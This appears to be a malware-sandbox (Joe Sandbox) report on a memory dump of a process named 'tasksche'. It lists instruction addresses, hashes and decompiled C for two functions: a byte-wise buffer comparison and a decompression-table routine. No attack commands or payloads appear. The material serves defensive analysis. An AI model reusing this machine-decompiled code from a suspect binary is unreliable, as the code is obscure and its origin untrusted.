0x0041b797
0x0041b79b
0x00000000
0x00000000
0x00000000
0x0041b79b
0x0041b6f8
0x0041b6fa
0x0041b711
0x0041b719
0x0041b71b
0x0041b732
0x0041b73a
0x0041b73c
0x0041b753
0x0041b75b
0x0041b75d
0x0041b76a
0x0041b76a
0x00000000
0x0041b75d
0x0041b749
0x0041b74d
0x00000000
0x00000000
0x00000000
0x0041b74d
0x0041b728
0x0041b72c
0x00000000
0x00000000
0x00000000
0x0041b72c
0x0041b707
0x0041b70b
0x00000000
0x00000000
0x00000000
0x0041b70b
0x0041b669
0x0041b66b
0x0041b682
0x0041b68a
0x0041b68c
0x0041b6a3
0x0041b6ab
0x0041b6ad
0x0041b6c4
0x0041b6cc
0x0041b6ce
0x0041b6db
0x0041b6db
0x00000000
0x0041b6ce
0x0041b6ba
0x0041b6be
0x00000000
0x00000000
0x00000000
0x0041b6be
0x0041b699
0x0041b69d
0x00000000
0x00000000
0x00000000
0x0041b69d
0x0041b678
0x0041b67c
0x00000000
0x00000000
0x00000000
0x0041b67c
0x0041b5da
0x0041b5dc
0x0041b5f3
0x0041b5fb
0x0041b5fd
0x0041b614
0x0041b61c
0x0041b61e
0x0041b635
0x0041b63d
0x0041b63f
0x0041b64c
0x0041b64c
0x00000000
0x0041b63f
0x0041b62b
0x0041b62f
0x00000000
0x00000000
0x00000000
0x0041b62f
0x0041b60a
0x0041b60e
0x00000000
0x00000000
0x00000000
0x0041b60e
0x0041b5e9
0x0041b5ed
0x00000000
0x00000000
0x00000000
0x0041b5ed
0x0041b54b
0x0041b54d
0x0041b564
0x0041b56c
0x0041b56e
0x0041b585
0x0041b58d
0x0041b58f
0x0041b5a6
0x0041b5ae
0x0041b5b0
0x0041b5bd
0x0041b5bd
0x00000000
0x0041b5b0
0x0041b59c
0x0041b5a0
0x00000000
0x00000000
0x00000000
0x0041b5a0
0x0041b57b
0x0041b57f
0x00000000
0x00000000
0x00000000
0x0041b57f
0x0041b55a
0x0041b55e
0x00000000
0x00000000
0x00000000
0x0041b4b5
0x0041b4b5
0x0041b4b8
0x0041b4bc
0x0041b4be
0x0041b4d5
0x0041b4d5
0x0041b4d9
0x0041b4dd
0x0041b4df
0x0041b4f6
0x0041b4f6
0x0041b4fa
0x0041b4fe
0x0041b500
0x0041b517
0x0041b517
0x0041b51b
0x0041b51f
0x0041b521
0x0041b527
0x0041b52a
0x0041b52e
0x0041b52e
0x00000000
0x0041b521
0x0041b506
0x0041b509
0x0041b50d
0x0041b511
0x00000000
0x00000000
0x00000000
0x0041b511
0x0041b4e5
0x0041b4e8
0x0041b4ec
0x0041b4f0
0x00000000
0x00000000
0x00000000
0x0041b4f0
0x0041b4c4
0x0041b4c7
0x0041b4cb
0x0041b4cf
0x00000000
0x00000000
0x00000000
0x0041b4cf
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 29e0c2194e43b481a6c61040bafb45c2199937250b84d4f9493dc4b244529513
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 24C16E73C0E9B30A8736812D81685ABEE62AFD175031FC3A2DCE42F389D36B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0D9 Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B0D9(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0041b0d9
0x0041b0d9
0x0041b0df
0x0041b152
0x0041b154
0x0041b156
0x00000000
0x00000000
0x0041b15c
0x0041b162
0x0041b1e1
0x0041b1e3
0x0041b1e5
0x00000000
0x00000000
0x0041b1eb
0x0041b1f1
0x0041b270
0x0041b272
0x0041b274
0x00000000
0x00000000
0x0041b27a
0x0041b280
0x0041b2ff
0x0041b301
0x0041b303
0x00000000
0x00000000
0x0041b30f
0x0041b38f
0x0041b391
0x0041b393
0x00000000
0x00000000
0x0041b399
0x0041b39f
0x0041b41e
0x0041b420
0x0041b422
0x00000000
0x00000000
0x0041b428
0x0041b42e
0x0041b49f
0x0041b4a1
0x0041b4a3
0x0041b4a5
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041b437
0x0041b439
0x0041b44a
0x0041b452
0x0041b454
0x0041b465
0x0041b46d
0x0041b46f
0x0041b484
0x0041b48c
0x0041b48e
0x0041b49b
0x0041b49b
0x00000000
0x0041b48e
0x0041b478
0x0041b47e
0x00000000
0x00000000
0x0041b480
0x0041b480
0x00000000
0x0041b480
0x0041b45d
0x0041b463
0x00000000
0x00000000
0x00000000
0x0041b463
0x0041b442
0x0041b448
0x00000000
0x00000000
0x00000000
0x0041b448
0x0041b3a8
0x0041b3aa
0x0041b3c1
0x0041b3c9
0x0041b3cb
0x0041b3e2
0x0041b3ea
0x0041b3ec
0x0041b403
0x0041b40b
0x0041b40d
0x0041b41a
0x0041b41a
0x00000000
0x0041b40d
0x0041b3f9
0x0041b3fd
0x00000000
0x00000000
0x00000000
0x0041b3fd
0x0041b3d8
0x0041b3dc
0x00000000
0x00000000
0x00000000
0x0041b3dc
0x0041b3b7
0x0041b3bb
0x00000000
0x00000000
0x00000000
0x0041b3bb
0x0041b319
0x0041b31b
0x0041b332
0x0041b33a
0x0041b33c
0x0041b353
0x0041b35b
0x0041b35d
0x0041b374
0x0041b37c
0x0041b37e
0x0041b38b
0x0041b38b
0x00000000
0x0041b37e
0x0041b36a
0x0041b36e
0x00000000
0x00000000
0x00000000
0x0041b36e
0x0041b349
0x0041b34d
0x00000000
0x00000000
0x00000000
0x0041b34d
0x0041b328
0x0041b32c
0x00000000
0x00000000
0x00000000
0x0041b32c
0x0041b289
0x0041b28b
0x0041b2a2
0x0041b2aa
0x0041b2ac
0x0041b2c3
0x0041b2cb
0x0041b2cd
0x0041b2e4
0x0041b2ec
0x0041b2ee
0x0041b2fb
0x0041b2fb
0x00000000
0x0041b2ee
0x0041b2da
0x0041b2de
0x00000000
0x00000000
0x00000000
0x0041b2de
0x0041b2b9
0x0041b2bd
0x00000000
0x00000000
0x00000000
0x0041b2bd
0x0041b298
0x0041b29c
0x00000000
0x00000000
0x00000000
0x0041b29c
0x0041b1fa
0x0041b1fc
0x0041b213
0x0041b21b
0x0041b21d
0x0041b234
0x0041b23c
0x0041b23e
0x0041b255
0x0041b25d
0x0041b25f
0x0041b26c
0x0041b26c
0x00000000
0x0041b25f
0x0041b24b
0x0041b24f
0x00000000
0x00000000
0x00000000
0x0041b24f
0x0041b22a
0x0041b22e
0x00000000
0x00000000
0x00000000
0x0041b22e
0x0041b209
0x0041b20d
0x00000000
0x00000000
0x00000000
0x0041b20d
0x0041b16b
0x0041b16d
0x0041b184
0x0041b18c
0x0041b18e
0x0041b1a5
0x0041b1ad
0x0041b1af
0x0041b1c6
0x0041b1ce
0x0041b1d0
0x0041b1dd
0x0041b1dd
0x00000000
0x0041b1d0
0x0041b1bc
0x0041b1c0
0x00000000
0x00000000
0x00000000
0x0041b1c0
0x0041b19b
0x0041b19f
0x00000000
0x00000000
0x00000000
0x0041b19f
0x0041b17a
0x0041b17e
0x00000000
0x00000000
0x00000000
0x0041b0e1
0x0041b0e1
0x0041b0e4
0x0041b0e8
0x0041b0ea
0x0041b0fd
0x0041b0fd
0x0041b101
0x0041b105
0x0041b107
0x0041b11a
0x0041b11a
0x0041b11e
0x0041b122
0x0041b124
0x0041b137
0x0041b137
0x0041b13b
0x0041b13f
0x0041b141
0x0041b147
0x0041b14a
0x0041b14e
0x0041b14e
0x00000000
0x0041b141
0x0041b12a
0x0041b12d
0x0041b131
0x0041b135
0x00000000
0x00000000
0x00000000
0x0041b135
0x0041b10d
0x0041b110
0x0041b114
0x0041b118
0x00000000
0x00000000
0x00000000
0x0041b118
0x0041b0f0
0x0041b0f3
0x0041b0f7
0x0041b0fb
0x00000000
0x00000000
0x00000000
0x0041b0fb
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2db7ca3506525dcc090db9a2522c638e963424884ad3e69ae6d01f57f6380b46
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 7AC17173D0E9B3068735812E84686ABEE62AFD175031FC3E29CE42F389D32B5D9495D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041462B Relevance: .2, Instructions: 236
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0041462B(void* __ebx, intOrPtr __ecx, intOrPtr* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v28;
				char _v74;
				char _v90;
				char _v154;
				char _v460;
				signed int _t93;
				unsigned int _t94;
				signed int _t97;
				signed int _t98;
				unsigned int _t111;
				unsigned int _t116;
				unsigned int _t120;
				signed int _t122;
				void* _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				unsigned int _t152;
				void* _t154;
				intOrPtr* _t156;
				intOrPtr _t162;
				intOrPtr* _t166;
				void* _t167;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				unsigned int _t180;
				intOrPtr* _t182;
				intOrPtr _t183;
				intOrPtr* _t186;
				intOrPtr _t187;
				void* _t190;

				_t131 = __ebx;
				_v8 = __ecx;
				if( *((char*)(_a8 + 0x11)) != 0) {
					_t186 = _a4;
					__eflags =  *((char*)(_t186 + 8));
					if( *((char*)(_t186 + 8)) != 0) {
						L5:
						_t7 =  &_a8;
						 *_t7 = _a8 & 0x00000000;
						__eflags =  *_t7;
						_push(_t131);
						do {
							_t132 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t132 - 0xf;
							if(_t132 != 0xf) {
								 *(_t190 + _a8 - 0x18) = _t132;
								goto L15;
							}
							_t178 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t178;
							if(_t178 != 0) {
								_t180 = _t178 + 2;
								while(1) {
									__eflags = _t180;
									if(_t180 <= 0) {
										break;
									}
									_t180 = _t180 - 1;
									__eflags = _a8 - 0x14;
									if(_a8 >= 0x14) {
										break;
									}
									_t14 =  &_a8;
									 *_t14 = _a8 + 1;
									__eflags =  *_t14;
									 *(_t190 + _a8 - 0x18) = 0;
								}
								_a8 = _a8 - 1;
								goto L15;
							}
							 *(_t190 + _a8 - 0x18) = _t132;
							L15:
							_a8 = _a8 + 1;
							__eflags = _a8 - 0x14;
						} while (__eflags < 0);
						_t182 = _a12 + 0x3bb0;
						E0041284B(__eflags,  &_v28, _t182, 0x14);
						_t29 =  &_a8;
						 *_t29 = _a8 & 0x00000000;
						__eflags =  *_t29;
						do {
							__eflags =  *((char*)(_t186 + 8));
							if( *((char*)(_t186 + 8)) != 0) {
								L20:
								_t93 = E0040978C(_t186);
								_t133 =  *(_t182 + 0x84);
								_t94 = _t93 & 0x0000fffe;
								__eflags = _t94 -  *((intOrPtr*)(_t182 + 4 + _t133 * 4));
								if(_t94 >=  *((intOrPtr*)(_t182 + 4 + _t133 * 4))) {
									_t174 = 0xf;
									_t134 = _t133 + 1;
									__eflags = _t134 - _t174;
									if(_t134 >= _t174) {
										L28:
										_t152 =  *(_t186 + 4) + _t174;
										 *(_t186 + 4) = _t152 & 0x00000007;
										_t136 = _t152 >> 3;
										 *_t186 =  *_t186 + (_t152 >> 3);
										_t154 = 0x10;
										_t97 = (_t94 -  *((intOrPtr*)(_t182 + _t174 * 4)) >> _t154 - _t174) +  *((intOrPtr*)(_t182 + 0x44 + _t174 * 4));
										__eflags = _t97 -  *_t182;
										if(_t97 >=  *_t182) {
											_t97 = 0;
											__eflags = 0;
										}
										_t98 =  *(_t182 + 0xc88 + _t97 * 2) & 0x0000ffff;
										L31:
										__eflags = _t98 - 0x10;
										if(_t98 >= 0x10) {
											__eflags = _t98 - 0x12;
											_t156 = _t186;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t136 = (E004097D1(_t156) >> 9) + 0xb;
													__eflags = _t136;
													_push(7);
												} else {
													_t136 = (E004097D1(_t156) >> 0xd) + 3;
													_push(3);
												}
												E004097BA(_t186);
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														goto L50;
													}
													_t136 = _t136 - 1;
													__eflags = _a8 - 0x1ae;
													if(_a8 >= 0x1ae) {
														goto L51;
													}
													_t71 =  &_a8;
													 *_t71 = _a8 + 1;
													__eflags =  *_t71;
													 *(_t190 + _a8 - 0x1c8) = 0;
												}
												goto L50;
											}
											__eflags = _t98 - 0x10;
											if(_t98 != 0x10) {
												_t136 = (E004097D1(_t156) >> 9) + 0xb;
												__eflags = _t136;
												_push(7);
											} else {
												_t136 = (E004097D1(_t156) >> 0xd) + 3;
												_push(3);
											}
											E004097BA(_t186);
											_t120 = _a8;
											__eflags = _t120;
											if(_t120 > 0) {
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														break;
													}
													_t136 = _t136 - 1;
													__eflags = _t120 - 0x1ae;
													if(_t120 >= 0x1ae) {
														goto L51;
													}
													 *((char*)(_t190 + _t120 - 0x1c8)) =  *((intOrPtr*)(_t190 + _t120 - 0x1c9));
													_t120 = _t120 + 1;
													__eflags = _t120;
													_a8 = _t120;
												}
											}
											goto L50;
										}
										_a8 = _a8 + 1;
										 *(_t190 + _a8 - 0x1c8) = _t98;
										goto L50;
									}
									_t166 = _t182 + 4 + _t134 * 4;
									while(1) {
										__eflags = _t94 -  *_t166;
										if(_t94 <  *_t166) {
											break;
										}
										_t134 = _t134 + 1;
										_t166 = _t166 + 4;
										__eflags = _t134 - 0xf;
										if(_t134 < 0xf) {
											continue;
										}
										goto L28;
									}
									_t174 = _t134;
									goto L28;
								}
								_t167 = 0x10;
								_t122 = _t94 >> _t167 - _t133;
								_t170 = ( *(_t122 + _t182 + 0x88) & 0x000000ff) +  *(_t186 + 4);
								 *_t186 =  *_t186 + (_t170 >> 3);
								 *(_t186 + 4) = _t170 & 0x00000007;
								_t98 =  *(_t182 + 0x488 + _t122 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = _v8;
							__eflags =  *_t186 -  *((intOrPtr*)(_t162 + 0x78)) - 5;
							if( *_t186 <=  *((intOrPtr*)(_t162 + 0x78)) - 5) {
								goto L20;
							}
							_t116 = E004123EB(_t136, _t162);
							__eflags = _t116;
							if(_t116 == 0) {
								L53:
								_t111 = 0;
								L55:
								L56:
								return _t111;
							}
							goto L20;
							L50:
							__eflags = _a8 - 0x1ae;
						} while (_a8 < 0x1ae);
						L51:
						__eflags =  *((char*)(_t186 + 8));
						_t183 = _v8;
						if(__eflags != 0) {
							L54:
							_t187 = _a12;
							E0041284B(__eflags,  &_v460, _t187, 0x132);
							E0041284B(__eflags,  &_v154, _t187 + 0xeec, 0x40);
							E0041284B(__eflags,  &_v90, _t187 + 0x1dd8, 0x10);
							__eflags = _t187 + 0x2cc4;
							E0041284B(_t187 + 0x2cc4,  &_v74, _t187 + 0x2cc4, 0x2c);
							_t111 = 1;
							goto L55;
						}
						__eflags =  *_t186 -  *((intOrPtr*)(_t183 + 0x78));
						if(__eflags <= 0) {
							goto L54;
						}
						goto L53;
					}
					__eflags =  *_t186 -  *((intOrPtr*)(__ecx + 0x78)) - 0x19;
					if( *_t186 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
						goto L5;
					}
					_t111 = E004123EB(__ebx, __ecx);
					__eflags = _t111;
					if(_t111 == 0) {
						goto L56;
					}
					goto L5;
				}
				return 1;
			}

0x0041462b
0x0041463b
0x0041463e
0x00414648
0x0041464b
0x0041464f
0x00414668
0x00414668
0x00414668
0x00414668
0x0041466c
0x0041466e
0x0041467c
0x0041467f
0x00414684
0x00414687
0x004146ce
0x00000000
0x004146ce
0x00414697
0x0041469a
0x0041469f
0x004146a1
0x004146ad
0x004146c2
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146b0
0x004146b1
0x004146b5
0x00000000
0x00000000
0x004146ba
0x004146ba
0x004146ba
0x004146bd
0x004146bd
0x004146c6
0x00000000
0x004146c6
0x004146a6
0x004146d2
0x004146d2
0x004146d5
0x004146d5
0x004146e3
0x004146ee
0x004146f3
0x004146f3
0x004146f3
0x004146f7
0x004146f7
0x004146fb
0x00414717
0x00414719
0x0041471e
0x00414724
0x00414729
0x0041472d
0x0041475a
0x0041475b
0x0041475c
0x0041475e
0x00414775
0x00414778
0x0041477f
0x00414782
0x00414785
0x0041478c
0x00414791
0x00414795
0x00414797
0x00414799
0x00414799
0x00414799
0x0041479b
0x004147a3
0x004147a3
0x004147a6
0x004147ba
0x004147bd
0x004147bf
0x00414816
0x00414833
0x00414833
0x00414836
0x00414818
0x00414822
0x00414825
0x00414825
0x0041483a
0x00414859
0x00414859
0x0041485b
0x00000000
0x00000000
0x00414841
0x00414842
0x00414849
0x00000000
0x00000000
0x0041484e
0x0041484e
0x0041484e
0x00414851
0x00414851
0x00000000
0x00414859
0x004147c1
0x004147c4
0x004147e1
0x004147e1
0x004147e4
0x004147c6
0x004147d0
0x004147d3
0x004147d3
0x004147e8
0x004147ed
0x004147f0
0x004147f2
0x00414810
0x00414810
0x00414812
0x00000000
0x00000000
0x004147f6
0x004147f7
0x004147fc
0x00000000
0x00000000
0x00414805
0x0041480c
0x0041480c
0x0041480d
0x0041480d
0x00414814
0x00000000
0x004147f2
0x004147ab
0x004147ae
0x00000000
0x004147ae
0x00414760
0x00414764
0x00414764
0x00414766
0x00000000
0x00000000
0x00414768
0x00414769
0x0041476c
0x0041476f
0x00000000
0x00000000
0x00000000
0x00414771
0x00414773
0x00000000
0x00414773
0x00414731
0x00414734
0x0041473e
0x00414746
0x0041474b
0x0041474e
0x00000000
0x0041474e
0x004146fd
0x00414706
0x00414708
0x00000000
0x00000000
0x0041470a
0x0041470f
0x00414711
0x0041487a
0x0041487a
